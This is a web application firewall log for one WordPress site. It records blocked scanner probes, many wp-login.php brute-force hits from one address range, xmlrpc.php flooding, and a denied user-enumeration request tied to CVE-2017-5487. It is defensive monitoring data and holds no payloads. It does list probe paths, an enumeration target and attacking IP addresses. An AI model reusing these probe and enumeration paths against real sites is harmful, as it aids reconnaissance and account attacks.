[Fri Nov 14 22:08:40.540082 2025] [:error] [pid 16574:tid 16622] [client 143.244.168.161:45246] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aRc36P6XQqe4NqaoE9J0tAAAAI8"]
[Fri Nov 14 22:08:41.178525 2025] [:error] [pid 16574:tid 16610] [client 143.244.168.161:45252] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aRc36f6XQqe4NqaoE9J0ugAAAIM"]
[Fri Nov 14 22:08:41.799052 2025] [:error] [pid 16574:tid 16625] [client 143.244.168.161:45266] [client 143.244.168.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRc36f6XQqe4NqaoE9J0vQAAAJI"]
[Fri Nov 14 22:29:09.024250 2025] [:error] [pid 16573:tid 16587] [client 188.213.202.130:63259] [client 188.213.202.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRc8tSPGexfUk9FDoELfowAAAEk"]
[Fri Nov 14 22:29:09.024380 2025] [:error] [pid 16575:tid 16637] [client 188.213.202.158:23757] [client 188.213.202.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRc8te6qT670YxigvbDJrAAAAMM"]
[Fri Nov 14 22:54:44.184021 2025] [:error] [pid 1170:tid 1181] [client 188.213.202.114:26909] [client 188.213.202.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdCtA5pkvzCDzzjItSybwAAAAk"]
[Fri Nov 14 22:54:44.184161 2025] [:error] [pid 16671:tid 16677] [client 188.213.202.129:42691] [client 188.213.202.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdCtDsoHwEAmeIzZXCpfQAAAQA"]
[Fri Nov 14 23:20:58.775326 2025] [:error] [pid 16573:tid 16599] [client 188.213.202.149:62043] [client 188.213.202.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdI2iPGexfUk9FDoELtegAAAFU"]
[Fri Nov 14 23:20:58.775638 2025] [:error] [pid 16671:tid 16681] [client 188.213.202.122:34251] [client 188.213.202.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdI2jsoHwEAmeIzZXCxYAAAAQQ"]
[Fri Nov 14 23:47:13.836389 2025] [:error] [pid 16671:tid 16693] [client 188.213.202.120:31485] [client 188.213.202.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdPATsoHwEAmeIzZXC6LgAAARA"]
[Fri Nov 14 23:47:13.836389 2025] [:error] [pid 16574:tid 16613] [client 188.213.202.146:60721] [client 188.213.202.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdPAf6XQqe4NqaoE9KNxwAAAIY"]
[Sat Nov 15 00:12:49.148198 2025] [:error] [pid 45907:tid 45918] [client 188.213.202.151:24401] [client 188.213.202.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdVAVAqmYxCpnT9gJFnMAAAAUc"]
[Sat Nov 15 00:12:49.148258 2025] [:error] [pid 45907:tid 45912] [client 188.213.202.137:39749] [client 188.213.202.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdVAVAqmYxCpnT9gJFnMQAAAUE"]
[Sat Nov 15 00:38:53.013630 2025] [:error] [pid 45995:tid 46011] [client 188.213.202.126:58853] [client 188.213.202.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdbHcfhZrb6EV4SvFuunwAAAgs"]
[Sat Nov 15 00:38:53.014075 2025] [:error] [pid 45995:tid 46018] [client 188.213.202.152:23033] [client 188.213.202.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdbHcfhZrb6EV4SvFuuoAAAAhI"]
[Sat Nov 15 01:03:57.334471 2025] [:error] [pid 45908:tid 45942] [client 188.213.202.159:63121] [client 188.213.202.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdg_WWG19mWwZX7KatacgAAAAQ"]
[Sat Nov 15 01:03:57.346653 2025] [:error] [pid 45995:tid 46015] [client 188.213.202.129:45989] [client 188.213.202.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdg_cfhZrb6EV4SvFu5wgAAAg8"]
[Sat Nov 15 01:29:54.238466 2025] [:error] [pid 45907:tid 45914] [client 188.213.202.128:56895] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdnElAqmYxCpnT9gJGFRQAAAUM"]
[Sat Nov 15 01:29:54.238527 2025] [:error] [pid 45908:tid 45947] [client 188.213.202.107:53237] [client 188.213.202.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdnEmWG19mWwZX7KatjKgAAAAk"]
[Sat Nov 15 01:54:51.480074 2025] [:error] [pid 45907:tid 45933] [client 188.213.202.108:63725] [client 188.213.202.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRds61AqmYxCpnT9gJGO1AAAAVY"]
[Sat Nov 15 01:54:51.515014 2025] [:error] [pid 45907:tid 45935] [client 188.213.202.130:26283] [client 188.213.202.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRds61AqmYxCpnT9gJGO1QAAAVg"]
[Sat Nov 15 02:21:00.447855 2025] [:error] [pid 18513:tid 18533] [client 188.213.202.126:27867] [client 188.213.202.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdzDPc94upQFzRWlUnkIQAAAE8"]
[Sat Nov 15 02:21:00.458765 2025] [:error] [pid 45995:tid 46004] [client 188.213.202.153:41793] [client 188.213.202.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.153, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRdzDMfhZrb6EV4SvFvZIwAAAgQ"]
[Sat Nov 15 02:46:15.508717 2025] [:error] [pid 18513:tid 18522] [client 188.213.202.130:33923] [client 188.213.202.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRd49_c94upQFzRWlUnxjAAAAEQ"]
[Sat Nov 15 02:46:15.509989 2025] [:error] [pid 18513:tid 18528] [client 188.213.202.113:55463] [client 188.213.202.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRd49_c94upQFzRWlUnxjQAAAEo"]
[Sat Nov 15 03:11:46.486067 2025] [:error] [pid 18513:tid 18533] [client 188.213.202.115:26117] [client 188.213.202.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRd-8vc94upQFzRWlUn-7QAAAE8"]
[Sat Nov 15 03:11:46.486414 2025] [:error] [pid 45908:tid 45959] [client 188.213.202.154:63061] [client 188.213.202.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRd-8mWG19mWwZX7KauIXQAAABU"]
[Sat Nov 15 03:37:04.579394 2025] [:error] [pid 44438:tid 44515] [client 188.213.202.110:61083] [client 188.213.202.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReE4AUQm6jCuPWgJlleTgAAAJE"]
[Sat Nov 15 03:37:04.579790 2025] [:error] [pid 44527:tid 44548] [client 188.213.202.160:21119] [client 188.213.202.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReE4DZn1ZaBElIfEGIBsgAAANA"]
[Sat Nov 15 04:02:18.796652 2025] [:error] [pid 27997:tid 28005] [client 188.213.202.119:52393] [client 188.213.202.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.119, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReKytpja_6cDxKbxFnw-QAAAMY"]
[Sat Nov 15 04:02:18.796836 2025] [:error] [pid 27911:tid 27973] [client 188.213.202.155:21197] [client 188.213.202.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.155, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReKysGzUdrhGBIfiKSbmwAAAIU"]
[Sat Nov 15 04:05:56.594864 2025] [:error] [pid 27910:tid 27949] [client 191.183.37.21:9830] [client 191.183.37.21] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aReLpI6e1LusHMYkS7YyvwAAAEg"]
[Sat Nov 15 04:07:27.400999 2025] [:error] [pid 27997:tid 28011] [client 191.183.37.21:10077] [client 191.183.37.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.183.37.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aReL_9pja_6cDxKbxFnzKQAAAMw"]
[Sat Nov 15 04:08:46.281073 2025] [:error] [pid 27997:tid 28014] [client 191.183.37.21:10219] [client 191.183.37.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.183.37.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aReMTtpja_6cDxKbxFnzyQAAAM8"]
[Sat Nov 15 04:10:10.698480 2025] [:error] [pid 37318:tid 37383] [client 191.183.37.21:9978] [client 191.183.37.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.183.37.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aReMougM1rHoEAqoQDf24wAAARU"]
[Sat Nov 15 04:11:23.148655 2025] [:error] [pid 37318:tid 37362] [client 191.183.37.21:10000] [client 191.183.37.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.183.37.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aReM6-gM1rHoEAqoQDf3RQAAAQA"]
[Sat Nov 15 04:12:38.734122 2025] [:error] [pid 27909:tid 27934] [client 191.183.37.21:9910] [client 191.183.37.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.183.37.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aReNNiTfZ6B57n8HepVtMQAAABU"]
[Sat Nov 15 04:27:57.561138 2025] [:error] [pid 27909:tid 27915] [client 188.213.202.112:63399] [client 188.213.202.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReQzSTfZ6B57n8HepVyHwAAAAI"]
[Sat Nov 15 04:27:57.561138 2025] [:error] [pid 27911:tid 27969] [client 188.213.202.110:54841] [client 188.213.202.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReQzcGzUdrhGBIfiKSlPgAAAIE"]
[Sat Nov 15 04:53:26.953375 2025] [:error] [pid 27909:tid 27929] [client 188.213.202.119:54043] [client 188.213.202.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.119, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReWxiTfZ6B57n8HepV7NwAAABA"]
[Sat Nov 15 04:53:26.953520 2025] [:error] [pid 27910:tid 27955] [client 188.213.202.124:60033] [client 188.213.202.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReWxo6e1LusHMYkS7ZCJQAAAE4"]
[Sat Nov 15 05:17:44.777724 2025] [:error] [pid 27909:tid 27934] [client 188.213.202.106:56767] [client 188.213.202.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReceCTfZ6B57n8HepWD5QAAABU"]
[Sat Nov 15 05:17:44.777791 2025] [:error] [pid 27909:tid 27918] [client 188.213.202.121:23407] [client 188.213.202.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.121, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReceCTfZ6B57n8HepWD5AAAAAU"]
[Sat Nov 15 05:42:20.614346 2025] [:error] [pid 37318:tid 37365] [client 188.213.202.152:49875] [client 188.213.202.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReiPOgM1rHoEAqoQDcnNwAAAQM"]
[Sat Nov 15 05:42:20.617934 2025] [:error] [pid 37318:tid 37363] [client 188.213.202.124:31581] [client 188.213.202.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aReiPOgM1rHoEAqoQDcnOAAAAQE"]
[Sat Nov 15 06:06:26.741775 2025] [:error] [pid 27909:tid 27937] [client 188.213.202.111:31983] [client 188.213.202.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRen4iTfZ6B57n8HepWUZgAAABg"]
[Sat Nov 15 06:06:26.741779 2025] [:error] [pid 27911:tid 27973] [client 188.213.202.157:50807] [client 188.213.202.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRen4sGzUdrhGBIfiKTI0wAAAIU"]
[Sat Nov 15 06:32:23.663083 2025] [:error] [pid 37318:tid 37372] [client 188.213.202.108:35357] [client 188.213.202.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRet9-gM1rHoEAqoQDc_vQAAAQo"]
[Sat Nov 15 06:32:23.663257 2025] [:error] [pid 27909:tid 27917] [client 188.213.202.143:49531] [client 188.213.202.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRet9yTfZ6B57n8HepWb6wAAAAQ"]
[Sat Nov 15 06:58:39.510534 2025] [:error] [pid 37318:tid 37377] [client 188.213.202.113:35881] [client 188.213.202.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRe0H-gM1rHoEAqoQDdLEgAAAQ8"]
[Sat Nov 15 06:58:39.514415 2025] [:error] [pid 27909:tid 27918] [client 188.213.202.108:41455] [client 188.213.202.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRe0HyTfZ6B57n8HepWjGAAAAAU"]
[Sat Nov 15 07:23:52.823734 2025] [:error] [pid 37318:tid 37364] [client 188.213.202.132:42229] [client 188.213.202.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRe6COgM1rHoEAqoQDdXhwAAAQI"]
[Sat Nov 15 07:23:52.825016 2025] [:error] [pid 27911:tid 27973] [client 188.213.202.131:38325] [client 188.213.202.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRe6CMGzUdrhGBIfiKTiJwAAAIU"]
[Sat Nov 15 07:50:25.722522 2025] [:error] [pid 27909:tid 27932] [client 188.213.202.123:41965] [client 188.213.202.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfAQSTfZ6B57n8HepWzNAAAABM"]
[Sat Nov 15 07:50:25.722491 2025] [:error] [pid 27909:tid 27937] [client 188.213.202.113:58533] [client 188.213.202.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfAQSTfZ6B57n8HepWzNQAAABg"]
[Sat Nov 15 08:16:50.467693 2025] [:error] [pid 27909:tid 27925] [client 188.213.202.125:34791] [client 188.213.202.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfGciTfZ6B57n8HepW6cAAAAAw"]
[Sat Nov 15 08:16:50.511094 2025] [:error] [pid 27910:tid 27958] [client 188.213.202.152:59805] [client 188.213.202.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfGco6e1LusHMYkS7aD2QAAAFE"]
[Sat Nov 15 08:41:41.170861 2025] [:error] [pid 37318:tid 37375] [client 188.213.202.141:52845] [client 188.213.202.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfMRegM1rHoEAqoQDd7xwAAAQ0"]
[Sat Nov 15 08:41:41.170887 2025] [:error] [pid 37318:tid 37381] [client 188.213.202.148:29725] [client 188.213.202.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfMRegM1rHoEAqoQDd7xgAAARM"]
